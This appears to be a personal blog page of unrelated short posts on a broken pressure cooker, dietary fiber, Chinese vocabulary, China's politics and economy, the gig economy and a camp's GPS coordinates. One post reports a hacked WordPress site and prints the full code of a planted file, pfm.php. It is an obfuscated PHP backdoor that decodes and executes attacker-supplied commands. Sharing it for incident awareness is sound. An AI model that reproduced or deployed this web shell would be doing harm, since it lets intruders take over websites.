Aika ML100A Electric Pressure Cooker: Breakdown and Review

Aika ML100a electronic pressure cooker, 爱家, broken after only 1.5 years. Made in China

Aika ML100a electronic pressure cooker, 爱家, broken after only 1.5 years. Made in China
I need to pay more attention on fiber in my diet, and vary the types depending on my needs. You need fermentable fiber to feed the microbiome. That seems crucial. There are so many other benefits to fiber. I need to take note.
| Soluble | Insoluble | |
| water soluble | Viscous | |
| dissolves in water to form a gel-like material. It can help lower blood cholesterol and glucose levels | promotes the movement of material through your digestive system and increases stool bulk, so it can be of benefit to those who struggle with constipation or irregular stools | |
Friend David is in China, struggling with the washing machine. Here’s some help! Many of these words are not commonly used and are specific to washing and clothing.

Chinese washing machine translation
|
漂水 piao4shui3 = bleach 脱水 tuo1shui3 = dehydration, damp dry 排水 pai2shui3 = drain 带预洗 dai4yu4xi3 = prewash |
化纤 hua4xian4 = chemical fibers, man-made 樱儿服 ying1er2fu2 = baby 运动服 yun4dong4fu2 = sportswear 精细 jing1xi = fine 窗帘 chuang1lian2 = curtain 手洗 shou3xi3 = hand wash 羊毛 yang2mao3 = wool 准备 zhun3bei4 = prepare, start |

Hacked By Muslim Hacker, Hacked By BLEİSY, screen cap, WordPress
A customer site got hacked today. Blue Host, shared service. WP core, plugins, themes all current.
They hacked the index.php on the public_html dir, and had malware code in the replaced index.php, along with 2 extra files. Front page was defaced, but site was left intact.
added files: 9e09ad (data file) and pfm.php (had php code) Here’s the pfm.php code:
<?php
$or=”cIEBldcm”;
$lq=”9TVFsn”;
$avj = str_replace(“j”,””,”sjtrj_jrjejpljajcje”);
$zs=”FsKCRfUE”;
$bu=”Y21kJ10pOw==”;
$qu = $avj(“i”, “”, “ibiaisie6i4i_dieicoide”);
$fh = $avj(“k”,””,”crkekatkek_kfkukncktkikon”);
$hwy = $fh(”, $qu($avj(“c”, “”, $or.$zs.$lq.$bu))); $hwy();
?>
People in China are very crafty at using the Chinese language to express themselves, particularly for political topics. I can’t remember them all.
正能量 zheng neng liang, positive energy
Now positive energy has developed into a catchphrase in Chinese society where people approach life with optimism and confidence.
Things associated with positive thinking such as optimism, frugality, hardwork and things that are inspiring are called “positive energy”.
Now Chinese people are hailing social development and spreading positive energy, which highlights the public’s hope and desire for the betterment of people’s livelihoods on the road toward a moderately well-off society. source
Red Flags: Why Xi’s China is in Jeopardy: George Magnus, 2018, Yale university
Intro
-2017 Xi started “XJP Though on Socialism with Chinese Characteristics for a New Era”
-2018 disbanded term limits, tightened Part grip
-Xi is taking advantage of splintered world economy to redefine China’s role
-4 economic traps
1. debt trap
2. RMB trap
3. demographic trap, ageing trap
4. Middle-income trap
-definition of reform is different; reform of prices, taxes, admin in accordance to CCP
-centralization of power is reaction to perceived external threats

SCMP: Sorry Mate, You can’t have run out of Canadians Already
This is an older article, over a year old, but still shocking for me. The redefinition of work should already be here.
Less formal work, more gig economy, these jobs are not living wage jobs and do not provide stability.
Work has ruled our lives for centuries, and it does so today more than ever. But a new generation of thinkers insists there is an alternative
Old GPS does not have this on its maps, even though the camp has been there forever.
Shadow Lake Camp
15041 Ninth Line, Whitchurch-Stouffville, ON L4A 7X3, Canada

Shadow Lake Camp, 15041 Ninth Line, Whitchurch-Stouffville, ON L4A 7X3, Canada, GPS 44°02’06.7″N 79°16’13.8″W Plus Code 87P22PPH+3R
I found it on Google Maps but it would not give me a proper GPS coordinate, so I tried the “share”, which gave me incorrect map coordinates. Clicking off the exact location gave me GPS coordinates which I could then tweak for the proper location.
44°02’06.7″N 79°16’13.8″W
44.035196, -79.270488
Plus Code: 87P22PPH+3R